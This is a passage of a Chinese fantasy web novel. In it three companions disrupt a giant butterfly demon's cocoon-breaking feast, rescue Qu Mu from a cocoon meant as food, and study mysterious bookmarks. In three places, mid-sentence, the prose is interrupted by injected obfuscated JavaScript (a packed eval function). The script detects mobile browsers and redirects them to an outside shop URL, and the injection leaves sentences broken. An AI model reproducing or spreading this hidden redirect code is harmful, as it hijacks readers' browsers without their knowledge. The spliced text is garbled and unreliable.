但阿轻显然不是很在意,只是在屋内转了转,嘴里自言自语:“你以前来的时候,也是住的这里。” “你这次来的很巧,刚好是一月一次的破茧之宴,和一年一次的蝴蝶葬礼。” 她声音清脆,走路没有声音,身体转了一个圈,就拿出一封信,递给林眠,说:“希望你能来参加。” 林眠接过信,还没看,阿轻就离开了。她追到窗户处,看到天空中出现一只巨大的蝴蝶,扇动着翅膀离开了。 “这就是面蝶吗?”林眠喃喃自语,低着头拆开信封,里面的信纸上印着一只漂亮的蝴蝶,以及一对蝴蝶翅膀,在月光的照射下,能看到淡蓝色的鳞粉,熠熠生辉。 林眠打开信,仔细地看了下。 【蝶翅之邀: 欢迎来到生死之境,这里是生与死的交界之处。在这,诚挚地邀请您参加破茧之宴和蝴蝶葬礼,希望您能有新的感悟和体验。 阿轻】 信的内容很短很短,林眠将信合上,这是在邀请自己,阿轻刚刚嘴上说了,却还是给了自己一封信。 林眠将信收起来的时候,看到桌上的书签,刚刚阿轻突然敲窗,就没来得及看这个书签,她拿起来看了一眼。 书签上面写着:【来到这里的第一天,我一点印象也没有了。这样的事时常发生,我已经分不清什么是我,什么是她。】 林眠抿着唇,看不明白,想把书签放回书里的时候,不知道怎么的,她把书签装进了自己的包里,又把剩下的几本书都翻了一下,没看到新的书签。 不知不觉,外面天亮了。 门被推开,两只小蝴蝶飞进来,一只便停留到林眠的手腕上,另一只则在林眠眼前晃悠,让她跟着自己走。 直到林眠走到昨晚那件礼服面前,小蝴蝶才停止晃悠。 “要我穿?”林眠皱着眉,又想到信上的内容,问:“宴会开始了?” 两只小蝴蝶在空中飞了一下。 林眠也不知道是不是自己理解的那个意思,但现在肯定是让自己换上这件礼服。她点点头,拿起礼服,这两只小蝴蝶才飞出去了。 “这到底是要做什么?” “也不知道瞿木他们两个怎么样了。”林眠一边嘟囔,一边换上衣服。自从昨晚分开之后,她就到了这屋里,睡了一个安稳觉,看来这里的妖物还挺好的。 希望等会借东西的时候,能够顺利吧。 林眠换好衣服,打开房间门,那两只蝴蝶就在门口守着,见林眠出来,便指引着她往前走。 宫殿里房间很多,且走廊错综复杂,林眠最开始还想着记记路,走了好久之后,她就放弃了,认命地跟着蝴蝶们走。 走了好久,她终于走到了一扇门处。 大约有几百只白色蝴蝶在大门处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546098|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见到林眠过来,便合力推开大门,让林眠进去。 门打开的那一瞬间,林眠的手都不由得握紧了,整个大厅处都是漫天飞舞的蝴蝶,不同于外面白色的蝴蝶,它们都是五彩斑斓的,而大厅是纯白色的,没有一点别的颜色夹杂在里面。 林眠走进去,身后的门边缓缓关上了。 作为这里唯一的人类,林眠一走进去,便有很多蝴蝶落在她的身上,用触角触碰林眠,林眠也用手指轻轻地点了一下它们的触角。 就像是打招呼一样。 林眠也从刚开始的紧张,转变为接受了,这里是面蝶的地盘,蝴蝶多是很正常的。只是不知道这个破茧之宴是什么。 她在会场处待了一会,和蝴蝶们打了招呼之后,便找了个角落站着。 阿轻还没有出现。林眠打量着周围,洁白的墙壁上雕刻着花纹,和外面走廊一样,壁上装饰着很多面具,以及各种蝴蝶花纹。 大厅的正中间,有个高高的台子,林眠看了一眼,这个台子不知道是用来做什么?她看着看着,就四处走动了起来,沿着墙壁把会场转了一个圈。 林眠将每个面具都看了一遍,这里的每个面具都不一样,而有些面具已经裂开了,看样子在这摆了很久很久。 “怎么瞿木他们还没到?是没收到邀请吗?”林眠倚靠在墙壁上,嘟囔着。她的手臂抬起来的时候,不小心碰到一旁的面具,一张棕色的书签从面具里掉了下来。 林眠愣了一下,连忙从地上捡起书签,拿起来看。 【今天是9月23号,我的意识很清醒,我明白我的身体已经不是我的了,体内里的怪物经常会跑出来。在这里,我参加了破茧之宴,也知道,从今天起,破茧之宴再也不是新生的代表。】 后面的字迹有些潦草。 林眠将书签收起来,看着场内,她感觉脑子里一团糟。 突然,大厅内的蝴蝶变得躁动起来,扇动翅膀的频率也加快了,这么多只蝴蝶聚集在一起,即使是微弱的扇动翅膀的声音,林眠也觉得有些嘈杂。 她抬头看去,天空中出现了一只巨大的蝴蝶,约摸着快有一个人这么大了,在天空中转了一圈,才飞进室内。 林眠看着这只蝴蝶,心里清楚它就是昨天晚上来找自己的小女孩,阿轻,也是这里的蝴蝶之王,面蝶。 只是看到阿轻的本体,林眠也感到有些吃惊,她从未见过这么大的蝴蝶。 大蝴蝶落在高台之上,绚丽的蝴蝶翅膀十分的漂亮,在灯光的照射下,散发着五彩斑斓的光。 “破茧之宴即将开始,在这里,想必大家已经都见过了,我的故人朋友。” 林眠垂着眼听着,故人朋友?是谁?就在她胡思乱想的时候,面前突然出现了一群白色蝴蝶。 “怎...怎么了?”林眠看到白色蝴蝶,有一瞬间的愣神,这会场里都是五颜六色的蝴蝶,这些白色蝴蝶怎么进来了? 下一秒,她就被白色蝴蝶架起来,拉着飞了起来。 林眠被蝴蝶架到了半空中,与面前的这只大蝴蝶面对面。 “欢迎您来参加这次的破茧之宴。” 林眠看着面前的这只名大蝴蝶,它的身体腹部上有一层细细的绒毛,复眼处上的触角晃动了一下。 这简直就是一个巨型的大蝴蝶在和自己说话,林眠还找不到它说话的嘴巴在哪里。 “谢谢。”林眠有些尴尬的说,现在是骑虎难下,对方执意说菌丝是她的朋友。关于这件事,林眠也说不清楚。 阿轻很是满意林眠的态度,和林眠说完话后,她就在高台之上飞动,就像是在跳舞一样,周围的面具不知道怎么的开始晃动,发出沉闷的声音。 高台之上,慢慢升起一颗巨大的茧。 24. 面蝶之祸 大厅内的蝴蝶忽然都安静了下来,林眠也屏住了呼吸。这一颗茧大约也有一个人这么大,绝对不是蝴蝶的茧。 “破茧即是新生。” “今日生死之境共有彩茧三颗,白茧7颗,以及,一个意外之茧。按照惯例,先破茧,后开宴。” 阿轻正在说话。 林眠挂在半空之中,忍不住想要踢一下有些麻木的脚,这些茧里面是会孵化出蝴蝶吗?意外之茧是什么? 她感觉自己晕头转向的,什么都不清楚。在这里,也见不到瞿木和秦宁,他们到底去哪了? 阿轻说完,破茧之宴正式开始了。 高台上的那颗白茧处涌上了许多蝴蝶,它们似乎在分工,整齐有序的将白茧破开,白色的液体从茧内流出,滴到洁白的地面上。 林眠皱着眉,她看不见茧内的情况,但这些白色粘稠的液体,滴在地面上,在光照之下,映射出诡异的颜色,看的让人很不适。 茧破开之后,一群白色的蝴蝶从茧内飞出,形成一刹那的绚丽景观,令人叹为观止。 “这就是新生吗?”林眠伸出手,一只白色蝴蝶停在她的手上,继而飞走。 原来白蝶是这么出来的。 林眠感到惊奇,这些从茧里面出来的蝴蝶和她之前见到的一模一样。 之后一直重复这样的步骤,林眠每一次都会被蝴蝶从茧里面出来的场面震惊到。 她大概看明白了,这里的白茧诞生的是白色的蝴蝶,也就是外面工作的蝴蝶;彩茧诞生的是有颜色的蝴蝶,颜色不一,具体这些蝴蝶的分工是什么...林眠还不清楚。 但无疑的是,能够参加破茧之宴的,都是这些有颜色的蝴蝶。 而最后的意外之茧…林眠看着面前这个白色的大茧,看起来和白茧没什么区别。 底下的蝴蝶似乎有些躁动,翅膀扇动的声音不再是安静的、有频率的,是毫无节奏、焦急的。 “开宴吧。” 林眠听到这三个字,有些懵地看向阿轻。 开宴?不会是要吃这个茧吧? 事实证明,林眠没有想错。 这个茧是阿轻亲自落在茧上,用前足拿起一把精致的小刀,准备切开这个茧。 林眠咬着下唇,不知道为什么,不适感逐渐加重。这个茧比之前的茧都要大一些,看着有一个成年男子的大小。 随着刀子刺入茧内,场内的蝴蝶更加焦躁不安,就像是饿了许久,迫不及待的那种感觉。林眠是这么觉得的,她虽然肚子也很饿,但肯定不吃这个东西。 在她看来,从茧里面出来的,就像是蝴蝶的尸体一样。 就在这万千蝴蝶期待的场景之下,阿轻手中的利刃破开茧,黏糊糊的液体从茧里面流出来。 林眠也不知道是错觉还是什么的,她闻到了一股臭味,下意识的捂住口鼻,再看向高台上的阿轻,不知道怎么的,阿轻的动作停下了。 “嘭”的一声,会场处的大门被踢开了。 林眠看过去,是秦宁! 秦宁手持驱魔弓,做了一个拉弓的动作,在空中翻了两个筋斗,四处都射了一箭,他的身后都是一群白蝴蝶涌了进来,试图和秦宁对抗。 而阿轻身下的那个大茧,瞿木从里面挣扎出来,喘着粗气和面前的这只大蝴蝶直接对视上来了。 “啊!!!!!!”瞿木看到自己面前有一双巨大的复眼,再往下看去,毛茸茸的身体,和虫子一模一样。 一下子吓晕过去了。 因秦宁的闯入,大厅内顿时乱成一团,白蝶都在围攻秦宁,彩色的蝴蝶则在四处逃窜,而在高台之上的阿轻,则看着底下的一片混乱。 林眠都被这场面给弄的完全晕了,怎么茧里面的会是瞿木啊? 阿轻转动着复眼,举起前足,将瞿木从茧里面拿出来,凑上去,用自己的虹吸式口器对着瞿木的身体吸了吸。 随后,又转动了一下复眼,看向台下的林眠。 林眠觉得这个场面有些诡异,刚刚阿轻说要开宴了,这个茧肯定就是要被吃掉的,可里面…竟然是瞿木,也就是…它们要吃掉的是—— 瞿木。 林眠意识到这个,有些紧张地看向高台,将手背在身后,试图操控瞿木,让他离开高台。 躺在茧里面的瞿木突然动了一下,直直地伸出一只手,再挺起身子,从满是浓稠的液体里起来,他的体内长出菌丝,扩散成一个圆形。 林眠利用菌丝,将瞿木从茧里面拉出来,拉到自己的身边。 “瞿木。”林眠喊了一声,一手拍了拍瞿木的脸,让他清醒过来。另一只手则捂住鼻子,这茧里面的液体实在是太臭了,就像是腐烂了许久的食物一样。 在林眠两巴掌下,瞿木才缓慢地睁开眼睛,看着林眠,以及林眠刚刚扬起的巴,他有气无力地说:“你这是在报复我?” “你在胡说什么,快醒醒。”林眠见瞿木在说胡说,又看了眼正在和蝴蝶打斗的秦宁,以及在高台之上,若有所思的阿轻。 这个场面实在是有些混乱。 瞿木这也清醒过来了,看着密密麻麻的蝴蝶,感觉密恐都要犯了。但这里面,最显眼的莫过于那一只快有一个人大的蝴蝶。 “那个就是这里的妖物?面蝶?”瞿木问林眠。 林眠没出声,现在的情况有些慌乱,她的脑子也很乱,这其中的关系根本捋不清。 阿轻从林眠身上收回视线,转而向秦宁飞了过去。 秦宁跟这些白蝴蝶打,还是绰绰有余,就是数量太多了。更重视的是,那只大蝴蝶过来了。 “你就是这里的妖物,面蝶?”秦宁皱了一下眉,冷声质问。 “除妖师来这里做什么?”阿轻声音一震,接着她扇动着翅膀,更多的蝴蝶涌向秦宁,这些蝴蝶就像是事先排练过的一样,十分的整齐划一,朝着秦宁攻了过去。 “你和秦宁到底发生了什么啊?”林眠拉着瞿木问。 “啊?”瞿木身上黏糊糊的,还散发着恶臭,他自己都快受不了了。他想了一下,说:“昨晚我被拉去打黑工,之后它们说我干得好,为了感谢我,就用茧把我缠起来了。” “之后我就在这了。昨晚秦宁说去上厕所,就和我分开了。”瞿木快速地说完,看着那些蝴蝶都对着秦宁进攻,他便浑身一个激灵。 “怎么打起来了?我们不是来借蝶翅的吗?”瞿木脑子有些卡顿了,他在茧里面爬出来后,怎么感觉好像记忆断档了一样。 “我也不太清楚,应该是发生了什么。”林眠说道,“而且,你刚刚在的那个茧,似乎是它们的食物。” 瞿木瞪大了双眼,“你不要吓我啊。” “我是食物?”说完,瞿木觉得也不是不可能,邀请他参加破茧之宴,也不能用茧把自己缠起来,还有这些恶臭的液体。 “我说真的。”林眠站起身,看向被蝴蝶围攻的秦宁,还有在旁边伺机动手的阿轻。 “蝴蝶太多了,秦大师那边需要我们。”林眠躲在柱子后面,看着前面的蝴蝶群和秦宁。 瞿木也顾不得身上的黏腻了,“等解决了这里再说吧。” “嗯。” 林眠点头,将手合在一起,菌丝就此那个她的手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556194|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处长出,以极快的速度朝着蝴蝶群袭去。 经过之前的事情,她现在控制菌丝也变得游刃有余了。 瞿木擦了一把脸,他没什么能力,但是好歹练过,跟蝴蝶打打还是没问题的。他直接朝蝴蝶群冲了过去。 好在有林眠的菌丝掩护,瞿木直接手一抓,就是几只蝴蝶。 “谢了。”秦宁见瞿木来了,还有周围的菌丝,就知道林眠也在帮忙,便道了声谢。 三人合力,很快将这些白蝴蝶给消灭掉了,地上一地的蝴蝶尸体,铺满在洁白的瓷砖上。 场内顺便变得安静下来,只有一旁的大蝴蝶。 自从林眠加入清理蝴蝶战场后,阿轻就没有动手了。 “秦宁,发生什么事了?”瞿木看着那只大蝴蝶,还是有些毛骨悚然,他僵硬地看向秦宁,低声问他。 秦宁没回答,直接朝着那只大蝴蝶冲去,驱魔弓连射三发符咒,符咒围着大蝴蝶旋转,随后形成一层红色的薄雾。 阿轻看到自己身旁的符咒,扇动着翅膀,很快就冲破了符咒的禁锢。 秦宁也不惊讶,好歹是这里的王,如果仅仅被自己的符咒打败了,那未免也太逊色了。他一想到自己昨晚看到了,就忍住反胃,朝着大蝴蝶冲了过去。 一人一蝴蝶就这么打了起来。 “这到底怎么回事啊?”瞿木看着他们打起来,简直满头雾水,“我们不是来借东西的吗?这么打起来,结了仇,还怎么借?” 大蝴蝶的武器是头顶的两只触角,可以变长变短,且威力十足。秦宁用驱魔弓挡住进攻,嘴里不断地念着决。 打得有来有回。 “不管了,我去帮秦宁。”瞿木说完,就冲了上去。虽然不知道发生了什么,但结合林眠说的,以及秦宁不会伤及无辜,他还是相信秦宁。 “你昨晚抛弃我的事,我会记一辈子的。”瞿木冲到秦宁身边,还不忘说上一句,他这辈子都不会忘记昨晚打黑工的经历。 “小心。”秦宁一把扯过瞿木,用驱魔弓抵挡住阿轻的触角。 林眠觉得这样下去也不是办法,而且她也对很多事感到疑惑,现在只能帮助秦宁,先把局面稳定下来。 她抬起手,控制住瞿木,菌丝从瞿木体内长出,与阿轻的触角打了起来。 林眠一出手,阿轻就收敛了许多,触角不与菌丝直接接触,但也没束手就擒。 秦宁也借此机会,在旁念决,只是自己的决竟然对面蝶压制力不强。这一点让他感到吃惊。 每种妖物都有自己的弱点,先祖总结了许多妖物的弱点,并制作出了专门克制的决,他刚刚念的就是克制面蝶的决,竟然效果不大。 他来不及惊讶,连忙采用别的方式。 他们到底人多,加上林眠能够熟练掌控菌丝,瞿木也有了配合经验。几番来回后,阿轻被击落在地上,发生痛苦的呻吟。 秦宁用驱魔弓压住这只大蝴蝶,皱了一下眉,开始审问说:“你害了那么多人,这些人你究竟用来干嘛了?” 他昨晚出了洞穴,就把看守的蝴蝶清理掉了,之后在外面转悠了一圈,发现了很多诡异的点。 最后,他找到了另一个洞穴,里面都是白骨,甚至还有不少新鲜的白骨,他才知道,这里肯定死了不少人。 “什么?”瞿木好不容易站稳身子,就听到秦宁的话。 林眠也赶紧跑过来,一看到地上的这只大蝴蝶,就有些不适感。按道理,她也不害怕蝴蝶啊。 肯定是这蝴蝶太大了。 “谁死了?”瞿木脑子还不太清醒,急急忙忙凑上前来。 25. 面蝶之祸 林眠听了,也看向地上的阿轻。 秦宁看向地上的大蝴蝶,严厉地问:“你为什么要害人?一字一句说说清楚。” “对,说清楚!为什么让我打黑工?”瞿木也跟着问道。这里竟然死了人?如果不是自己命大,这里刚好有林眠在,不然自己就成为盘中餐了。 还有,一想到昨晚的事,他拳头都硬了。 阿轻不出声,两只触角扭曲地转动着。 秦宁拧着眉头,想从阿轻嘴里得出一个答案,“山洞里的白骨是怎么回事?里面有几具白骨是刚死没多久的。” “你明明是妖物,为什么要和除妖师一起?”阿轻终于开口说话了,但这句话是对林眠说的,直接忽视了秦宁的问题。 林眠看着地上的大蝴蝶,虽然看不动它的表情变化,但是从语气可以听出,她很生气,甚至在质问自己。 “我...”林眠张了张嘴,她突然对自己是不是人这个问题,产生了怀疑。 “什么妖物,林眠是人,活生生的人,你这个样子的才是妖物。”瞿木拉过林眠,气冲冲地对着大蝴蝶说。 林眠看向瞿木,呆呆地不说话。 “人?你看她像是人吗?在我的眼中,她就是一团缠绕在一起的菌丝。”阿轻说着说着笑了起来。 突然,她的语气又悲伤了起来:“你还会再出现吗?我能等到你吗?” 林眠的不适感加重,她捂住胸口,想到了那两张书签的内容,强忍着不适问她:“你上一次见到我…不,菌丝,是什么时候?” “大概…也有三十年了吧。”阿轻回答了林眠的问题。 秦宁看了眼林眠,感觉事情越发奇怪了。 驱魔弓突然开始震动,压在下面的大蝴蝶开始剧烈地扇动着翅膀,还不等他们反应过来,“哐当”一声,蝴蝶翅膀竟然就这么落在了地上。 三人互相看了一眼,秦宁主动上前查看情况。 “它跑掉了。”秦宁收取驱魔弓,说。 地面上只剩下一对巨大的蝴蝶翅膀。 秦宁的话音刚落,突然就传来了阿轻的声音。 “今日是生死之境重要的一天,你们破坏破茧之宴,是对神明之不敬。我会为你们准备一场死亡盛宴。” 之后,久久没有声音了。 “它离开了。”秦宁说着弯下腰,用力地拿起地上的一对蝶翅,发现重的不行,和蝴蝶柔软的翅膀完全不一样。 “这蝶翅是金属做的。”瞿木也上前摸了一下,说道。他还顺带弹了一下,发出清脆的金属声。 他对秦宁说:“你这驱魔弓不行啊,怎么还让这妖物跑了?” 秦宁淡淡收起驱魔弓,说:“如果它是面蝶,我的决应该能压制住它。” “可决没有发生作用。” 这一点,让秦宁很怀疑这只面蝶的身份。 “问题是没压制住啊。”瞿木在旁边说风凉话,“会不会是你念的决不对啊?” 秦宁瞥了一眼瞿木,又看向林眠。 “我…不知道该怎么说,阿轻好像和我体内的菌丝是朋友。”林眠抿着唇解释,“刚刚她也说了,是三十年前,那会儿我都还没出生。” “也就是说,三十年前,菌丝在别人身上。”秦宁接过话茬,说。 “是这个意思。”林眠点点头。 “诶,你们不要讨论这个了,我们是来借东西的啊!”瞿木听着他们两个讨论,觉得这都偏了,咱们的目的是来借蝶翅的啊! “我们是来借蝶翅的啊,现在弄成这样,怎么借?”瞿木舔了舔干燥的嘴唇,他从昨天晚上到现在,滴水未进。 还打了一夜的黑工! 秦宁说看了眼瞿木,想了想说:“我们整合一下信息,复盘一下。” 昨晚,他们三个都分开了,而且看样子,应该都获得了不少信息。 “我应该没什么要说的,昨晚的事你也知道。”瞿木一屁股坐在一旁的台阶上,对秦宁说,又看向林眠,“刚刚我也告诉你了。” 林眠点点头,回想起之前瞿木说的,她好奇地问:“打黑工是什么意思?” “你昨晚没打黑工?”瞿木见林眠这么说,问她。问完,他又觉得不对,林眠还换了一身衣服,这衣服很精美,红色的布料上绣了很多蝴蝶样式的花纹。 他从茧里面出来太懵逼了,之后又发生了这么多事,压根没来得及注意林眠穿了什么衣服。 林眠摇头。 “那你昨晚干嘛了?”瞿木问道。 “睡觉,那个床很舒服,我一躺下就睡着了。”林眠回答,她还以为瞿木他们和自己一样,也到了一个房间里睡觉。 “所以,打黑工是什么意思?”林眠不明白。 瞿木:这世界对我太不公了!林眠有床睡,秦宁打黑工打了一半就跑路,只有自己老老实实干了一晚上的活。 “就是干了一夜的活,还是无偿的。”瞿木虚虚地解释说,回想起来,手都发抖、腰也酸痛了。 “哦哦。”林眠明白了,就是白打工了,“你做了什么啊?” “给蝴蝶翅膀上色。”瞿木面无表情的回答,他已经心如死灰了。 “林小姐,你昨晚发生了什么事,能和我们说下吗?”秦宁对待林眠一直很有礼貌,就连复盘这种事,也很礼貌的询问。 “我实在想不明白,给蝴蝶翅膀上色有什么意义。”瞿木叹了口气说。 林眠就把秦宁进来之前的事都说了一遍。 “我真是食物啊。”瞿木已经接受这个事实了,一想起来了,还是有些害怕,他愤愤不平地说:“我昨晚任劳任怨的干活,都没反抗他们,结果就要把我吃掉!” “就没见过这么坏的妖,还是蝴蝶之王,我看它去当怨鬼之王还差不多。” 瞿木骂着出气,说着还想起自己身上的那封信,在身上摸了摸,从口袋里拿出这封黏腻腻、沾满茧里面的液体的信。 “还邀请,鸿门宴都比这强。”瞿木说着就准备把信给撕了,却被秦宁拦了下来。 “林小姐,你说你也收到了信,能否拿出来给我看看。” “哦,好。”林眠说着,低下头,突然想起,“信我放在房间里面了。” “那我们回你那个房间找找。”秦宁不紧不慢地说。 “好。”林眠点点头。 大家也不在大厅停留,秦宁打开大门,走出去。 林眠临走前,想起自己放在角落里的书签,跑去角落里拿走,再跑回瞿木的身边。 “你拿的什么?”瞿木低下头,看了一眼,但很快又收回视线。林眠的身高能到自己的嘴巴附近,刚好她今天穿的是紧身小礼裙,还是低胸的,他一低下头,就看到了不该看的。 “书签,我在面具里找到的。”林眠说道,并递给瞿木。 瞿木不是很自然的接过书签,看了一眼后,皱了一下眉,递给走在前面的秦宁看。 “是在大厅那里找到的?”秦宁问。 “对,我还在房间里也找到一张。”林眠点点头,说完她突然想起,这里的走廊也有很多面具,便上去翻了一下面具,“不知道这里的面具会不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565944|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏有书签。” 秦宁看了眼,说:“我们把这里的面具都找一遍。” “好。”瞿木答应得很快。 三人快把这座宫殿的面具都翻遍了,也没找到新的书签。 林眠只好带他们到自己昨晚住的房间去。 “到了。”林眠记忆力好,一下子就带他们找到了那个房间。 “哦,这里的面具还没翻呢。”林眠看着房间门口的面具,上前随手翻了一下。本来也没抱什么希望,结果真的翻到了一张书签。 大家相视一眼,林眠咽了口口水,将书签摊开。 【今晚是蝴蝶的葬礼,要祭拜传闻中的那位将军,那位将军我看见了,有人能活上千年吗?】 “看不明白。”林眠用手拍了拍自己的脸,脸上出现迷茫的神情,这三张书签出自同一人的手。 “这个应该和我们没什么关系吧?”林眠问。 “不清楚。”秦宁也不明白,把书签递给林眠。 瞿木倒是想到了什么,十分兴奋地说:“这是不是说明之前有人来过这里?” “这个我们知道。”秦宁直接走进屋内,看着屋内的装饰,没发现什么异样。 “诶,知道你们不说。”瞿木也走进房间里,抱怨着说。 林眠打开桌上的背包,将里面的水和面包拿出来给他们,并把书签放进背包里,又把信拿出来交给秦宁。 “我的乖乖,你昨晚住的这么好?”瞿木看着这柔软的大床,忍不住咂舌,这妖物怎么还搞区别对待啊? 不过也是,人家都说了,和菌丝是好朋友。 “那边是浴室,可以洗澡。”林眠这话很明显是对着瞿木说的。 瞿木也觉得自己是该洗洗,身上黏糊糊的,还有一股奇怪的恶臭。 “那我去洗洗,里面没事吧?”瞿木想确认一遍,万一洗澡的时候出事… “没事,我昨晚洗了。”林眠不觉得有什么问题。 瞿木也只好进去了。 “蝴蝶葬礼是什么?”秦宁看了信,发现信上提到了蝴蝶葬礼。 林眠刚刚咬了一口面包,嚼了几下,咽下去了才回答:“我也不太清楚,不过好像就是今晚。” “它和破茧之宴是连在一起的。” 秦宁点点头,也拿了个面包和一瓶水,对他们说:“那看来,今晚我们要去找一下这个蝴蝶葬礼,应该不会在这儿举行。” “好。”林眠已经不想思考了,她觉得这里的事情太多了,一件接一件。 大约过了半小时,瞿木就出来了。 “舒服了。”瞿木感觉浑身都清爽了不少,洗了澡,他也敢一屁股坐在柔软的大床上了。 “休息会吧,晚上我们就出去。”秦宁坐在一旁的沙发上,闭上了眼。 瞿木没太明白,问:“出发去哪?” “蝴蝶葬礼。”林眠回答,还把信给瞿木看:“你刚刚去洗澡了,没看到信。” “我也收到了信啊,为什么只邀请你参加蝴蝶的葬礼,我却没有?”瞿木不服气的说,他的信上就没有写蝴蝶葬礼。 “我真是冤种。”瞿木将信还给林眠。 林眠歪着头,这个邀请是什么好事吗? “诶,秦宁,昨晚你到底发生了什么事?还有洞穴里的白骨又是什么?”瞿木刚刚洗了个热水澡,精神还很亢奋,也就更有心情去捋现在的状况了。 再加上,自己和林眠都说了昨晚的事,就秦宁没说。 秦宁猛地睁开眼,回想起昨晚的事情,他的胃部还泛着恶心。 26. 蝴蝶葬礼 “昨晚,我察觉到不对劲,也觉得这些蝴蝶让我们给蝶翅上色的行为很诡异,因为它们根本用不上这翅膀不是?” 秦宁神情凝重,一字一句道来。 “我就找了个借口说要离开一下,谁知道这些蝴蝶竟然答应了,或者他们是怕我们的驱魔弓。 这些白色蝴蝶,忙忙碌碌,不知道在做些什么,我也就借机查探了一下。” “这些蝴蝶确实很奇怪,挠人还疼得很。”瞿木回想起昨晚的事,手都开始有肌肉记忆了。 秦宁垂下眼,接着说:“我出了洞穴,把看守我的蝴蝶消灭掉了,就去附近看了看,出了洞穴就是深山,蝴蝶们在洞穴里进进出出。 “我看了会,发现不远处还有个洞穴,就进去看了下。” 说到这里,秦宁顿了一下。 林眠和瞿木就像是在听鬼故事一样,屏息凝神地看着秦宁。 “洞穴里,白骨堆积如山,至少有上百具的白骨。我上前看了一下,摆在最前面的那具白骨,骨头颜色还很亮,应该是刚死没多久。 “而且,这个白骨排列的很整齐,应该是被剔肉了,而且剔的相当干净,不是人能够做出来的。” 瞿木咽了口口水,这…死了这么多人啊。 林眠听了,心里隐隐约约猜到了一些,但也没吭声,等着秦宁说下去。 “之后我离开了洞穴,兜兜转转,又回到了我们最开始到的那个花园处,奇怪的是,那个花园实际上很小,一条路是我和瞿木走的那条,通往洞穴,另一条…” 秦宁看向林眠,“就是林眠走的那一条。我想过去看看情况,却发现那条路是条死路。我最初以为是障眼法,便用了很多方式,都没找到路。 “并且,我陷入了鬼打墙,连去洞穴的路都找不到了。” “那你最后怎么找到的?”林眠听的入了迷,问他。 “这种类似于鬼打墙,但又和一般的鬼打墙不一样。我用符咒在多个地方都施了法,都没有效果,后面… “后面我偶遇了一只蝴蝶。” “后面呢?”瞿木也逐渐带入了,秦宁肯定后面还发现了什么,不然不可能就这么肯定的认为这些人是面蝶杀的。 “跟着那只蝴蝶,我就到了这里。”秦宁说。 “这里都是走廊,你怎么让它们看不见你?”林眠发出疑问,这条走廊,连藏都不好藏。如果被蝴蝶发现了,那就不好办了,会引起骚动。 “我用了化形符,在它们的眼中,我和它们是同类。”秦宁快速解释,接着说:“我跟着那只蝴蝶到了一个奇怪的地方。” “那里摆着很多巨大的茧,很多蝴蝶在茧上面不知道做什么。为了一探究竟,我找到一个放在角落处的茧,用驱魔弓划开了。” 瞿木咽了口口水,结合之前林眠所说的,问他:“里面是什么?一堆蝴蝶?” “不,是一具白骨和腐烂的肉,散发着难以形容的恶臭。” 说到这里,秦宁都有一些反胃,那个场面他还记得清清楚楚,腐烂的肉味还充斥在他的鼻腔里。 “不对啊,那瞿木怎么没有变成烂肉?”林眠指了指一旁的瞿木,瞿木也是从茧里面被刨开的,可是他还好好的。 瞿木浑身一个激灵,他可不想变成烂肉啊。他不免对着林眠委屈地说:“你这语气,好像很希望我变成烂肉一样。” “可能是菌丝的缘故。”秦宁猜测,菌丝让瞿木的身体治愈速度变得很快,那个茧没来得及将瞿木给完全吞噬了。 “也正是见到了那个茧,我才知道,洞穴里的白骨,茧里的腐肉,必然都是这里的妖物干的。” 说到杀人,秦宁的语气就激动了一些。他相信世界上有好妖物,也希望人和妖物能够和谐相处,但面对这种杀人的妖物,他一定不会放过。 比起秦宁的义愤填膺,瞿木感觉胸口反胃,刚刚吃下去的面包差点让他吐了出来,特别是想到自己就在那样的茧里。他拍着胸口,“幸好,菌丝关键时刻还是能保命的。” “原来如此。”林眠这才知道,这个意外之茧竟然真的是人的腐肉。 “蝴蝶为什么要吃人啊?”林眠觉得奇怪,吃人有什么好处吗? 秦宁摇摇头,他也不太清楚,吃人肉并不会提升力量,他能想到的理由只有一个,那就是… “对人的憎恶?” 林眠也不清楚,现在都是他们在胡猜。 “它是妖物啊,吃人不是很正常吗?你们不要想太多了。”瞿木听着他们两个讨论,还有纠结的模样,就觉得没什么必要。 “正所谓,非我族类,其心必异。” 秦宁直接闭上眼,说:“睡会吧,今晚就没得睡了。” “瞿木,你也休息会吧。”林眠对瞿木说。 瞿木:……我怎么觉得你们是不想理我。 但他确实很困了,昨夜一夜没睡,今天上午又废了那么多力气,身体确实很乏了。 林眠看着他们两个都闭上了眼,自己则去浴室换回自己的衣服,再坐在书桌旁,拿着那三个书签看了看。 从阿轻说的话里,书签里写的推测,三十年前有一个和自己一样的人来到了这里,但那个人的身体被菌丝控制了,从而写下这个书签。 那为什么,菌丝会到了自己身上? 